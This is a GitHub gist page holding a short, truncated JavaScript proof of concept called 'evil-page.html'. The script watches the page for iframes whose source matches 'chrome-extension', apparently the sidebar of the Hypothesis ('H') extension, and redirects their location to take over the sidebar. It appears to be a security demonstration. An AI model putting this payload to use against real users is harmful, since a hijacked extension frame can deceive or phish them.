Skip to content

Instantly share code, notes, and snippets.


robertknight/evil-page.html Secret

Last active Mar 8, 2017
What would you like to do?
Overwriting the sidebar app
<meta charset="UTF-8">
I am an evil page.
const mo = new MutationObserver(() => {
const frames = Array.from(document.body.querySelectorAll('iframe'));
frames.forEach((f) => {
// Crude test to check if the iframe belongs to the
// H extension. There are many other ways it could be done.
if (f.src.match(/chrome-extension/) && !f.haxxored) {
setTimeout(() => {
f.contentWindow.location = '';
f.haxxored = true;
}, 100);
mo.observe(document.body, {
childList: true,
subtree: true,
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.